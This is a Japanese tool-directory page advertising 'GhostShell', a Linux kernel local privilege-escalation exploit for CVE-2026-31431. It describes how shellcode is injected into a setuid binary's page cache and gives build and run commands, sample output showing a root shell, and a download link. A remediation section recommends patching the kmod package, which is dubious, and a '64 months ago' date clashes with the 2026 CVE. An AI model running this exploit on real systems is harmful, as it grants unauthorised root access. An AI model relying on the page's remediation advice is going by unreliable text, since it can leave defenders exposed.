Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GhostShell — CVE-2026-31431 — Linuxカーネルのページキャッシュ破損によるローカル権限昇格 | Kitploit
ツール/GitHubGitHub/razvanduda/ghostshell
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストレッドチーミングバイナリエクスプロイト
GitHubrazvanduda/ghostshell

GhostShell

CVE-2026-31431 — Linuxカーネルのページキャッシュ破損によるローカル権限昇格

リポジトリを見る
64ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GhostShell

CVE-2026-31431 — Linuxカーネルのページキャッシュ破壊によるローカル権限昇格

GhostShellは、Linuxカーネルのauthencesn AEAD暗号実装の欠陥を悪用して、非特権ユーザーアカウントからルートシェルを取得するローカル権限昇格ツールです。setuid-rootバイナリ(例:/usr/bin/su)のエントリポイントにシェルコードを仕込み、そのインメモリページキャッシュを破壊してから実行し、setuid(0) + setgid(0)を取得して特権付きの/bin/shを起動します。ディスク上のファイルは変更されず、インメモリのページキャッシュのみが影響を受けます。

要するに:通常ユーザーとして実行すると、ルートシェルに落とされます。

Theori / Xint によって発見・公開されました。詳細な解説: copy.fail


出力例

root@kitploit:~
$ ./ghostshell

  CVE-2026-31431 'Copy Fail'

  Target:       /usr/bin/su
  Size:         63576 bytes
  Entry offset: 0x1a50
  Shellcode:    94 bytes (24 iterations)

  [*] Checking if kernel is vulnerable...
  [+] Kernel IS vulnerable.

  [*] Corrupting page cache of /usr/bin/su with shellcode...
  [*] Patching offset 0x01a50 (24/24) ...

  [*] Verifying page cache corruption...
  [+] Shellcode verified in page cache!

  [*] Executing corrupted setuid binary...
  [*] If successful, you should now have a root shell.
  [*] No trace on disk. Only ghosts in the cache.

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

影響を受けるカーネル

Linux 4.14(2017年8月)から、2026年4月にパッチが適用されたカーネルまで。

修復方法 — kmodのパッチ適用

CVE-2026-31431に対する推奨される修正は、脆弱なauthencesn AEAD暗号モジュールを同梱する**kmodパッケージ**(カーネルモジュールユーティリティ)にパッチを適用することです。インプレースのsplice()復号パスを無効化または修正する更新版パッケージが、主要なディストリビューターからリリースされています。

クイックパッチ(Debian / Ubuntu)

root@kitploit:~
# 現在のkmodバージョンを確認
modprobe --version

# パッチ適用済みバージョンに更新
sudo apt-get update
sudo apt-get install --only-upgrade kmod

# 更新を確認
modprobe --version

クイックパッチ(RHEL / Fedora / Rocky / Alma)

root@kitploit:~
# kmodをパッチ適用済みリリースに更新
sudo dnf update kmod

# 確認
rpm -q kmod

クイックパッチ(Arch Linux)

root@kitploit:~
sudo pacman -Syu kmod

カーネル修正の確認

kmodにパッチを適用した後、脆弱なauthencesnモジュールがロードできなくなっているか、更新されていることを確認します:

root@kitploit:~
# モジュールのロードを試行 — パッチ適用済みシステムでは失敗するか、修正版が報告されるはず
modinfo authencesn

# または、実行中のカーネルに2026年4月のパッチが含まれているか確認
uname -r   # ディストリビューションのパッチ適用済みカーネルバージョン以上である必要があります

回避策(すぐにパッチを適用できない場合)

すぐにkmodを更新できない場合は、脆弱な暗号モジュールのロードをブロックできます:

root@kitploit:~
# authencesnモジュールをブラックリスト化
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf

# 念のため汎用のauthencモジュールもブラックリスト化
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf

# 現在ロードされている場合はアンロード(使用中の場合は失敗する可能性あり)
sudo modprobe -r authencesn 2>/dev/null

パッチ適用または回避策の適用後は再起動してください。破損したページキャッシュエントリが確実にクリアされます。


テスト済み環境

OSカーネル
Ubuntu 24.04 LTS6.17.0-22-generic

⚠️ このエクスプロイトは上記のシステムでのみテストされています。他のディストリビューションやカーネルバージョンでは結果が異なる場合があります。


前提条件

  • 脆弱なLinuxカーネル(上記参照)
  • GCC(または任意のCコンパイラ)
  • LinuxカーネルUAPIヘッダー(<linux/if_alg.h>)— 通常linux-libc-devに含まれます
  • 非特権ユーザーアカウント(エクスプロイトの実行にrootは不要)

Ubuntu/Debianでビルド依存関係をインストール:

root@kitploit:~
sudo apt-get update
sudo apt-get install gcc linux-libc-dev

ビルド

root@kitploit:~
gcc -Wall -Wextra -o ghostshell ghostshell.c

外部ライブラリは不要です。


使用方法

ターゲットを自動検出(su、sudo、passwdなどの一般的なsetuidバイナリをチェック):

root@kitploit:~
./ghostshell

ターゲットを手動で指定:

root@kitploit:~
./ghostshell /usr/bin/sudo

カーネルが脆弱な場合、ルートシェル(#)に落とされます。


動作原理(概要)

  1. 脆弱性チェック — 一時ファイルを作成し、AEADプリミティブを介して最初の4バイトを変更し、読み戻してページキャッシュが変更されたことを確認します。
  2. ターゲット選択 — setuid-rootバイナリを自動検出し、ELF64ヘッダーを解析して_startエントリポイントのオフセットを特定します。
  3. ページキャッシュ破壊 — AF_ALG splice()インプレース復号の欠陥を使用して、patch_chunk()呼び出しごとに4バイト(24回の反復)で、エントリポイントに94バイトのx86-64シェルコードを書き込みます。
  4. 実行 — 破損したバイナリに対してexecl()を呼び出します。カーネルはページキャッシュからバイナリをロードし、シェルコードがsetuid-root権限で実行されてルートシェルを起動します。

クリーンアップ

このエクスプロイトはインメモリのページキャッシュのみを破壊します。単純な再起動で完全にクリアされます。

再起動せずにキャッシュをドロップする場合:

root@kitploit:~
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

ダーティページがディスクに書き戻された場合(可能性は低いですが発生し得ます)、影響を受けるパッケージを再インストールします:

root@kitploit:~
sudo apt-get install --reinstall util-linux   # /usr/bin/su用

免責事項

このツールは教育目的および許可されたセキュリティ研究目的のみで提供されています。所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。作者は誤用に対する責任を負いません。


ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。

本ソフトウェアおよび関連ドキュメントファイル(以下「ソフトウェア」)のコピーを取得するすべての人に対し、使用、複製、変更、統合、公開、配布、サブライセンス、および/またはソフトウェアのコピーの販売を含め、制限なくソフトウェアを扱う権利を無償で許可します。また、ソフトウェアが提供されるすべての人に対しても、以下の条件に従うことを条件にこれを許可します。

上記の著作権表示およびこの許可表示は、ソフトウェアのすべてのコピーまたは実質的な部分に含まれるものとします。

本ソフトウェアは「現状のまま」提供され、商品性、特定目的への適合性、および非侵害の保証を含むがこれらに限定されない、明示的または黙示的な種類の保証は一切ありません。いかなる場合も、著者または著作権所有者は、契約行為、不法行為、その他の行為を問わず、ソフトウェアまたはソフトウェアの使用またはその他の取扱いに起因または関連して生じたいかなる請求、損害、その他の責任についても、一切の責任を負いません。

ツールをダウンロード